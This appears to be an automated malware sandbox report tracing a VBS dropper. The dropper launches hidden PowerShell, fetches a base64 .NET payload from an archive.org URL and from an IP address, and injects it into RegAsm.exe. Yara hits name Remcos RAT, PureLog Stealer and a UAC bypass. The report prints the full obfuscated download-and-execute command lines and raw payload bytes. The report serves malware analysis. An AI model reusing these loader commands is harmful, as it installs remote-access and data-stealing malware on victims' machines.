2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59 Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41 Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43 Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC

Target ID:	4
Start time:	23:29:15
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5fKvwnCAeC.vbs"
Imagebase:	0x7ff7d0ad0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	23:29:16
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	23:29:16
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	23:29:18
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.1436384107.0000026F45F00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.1404922826.0000026F3DE40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	23:29:27
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xb10000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false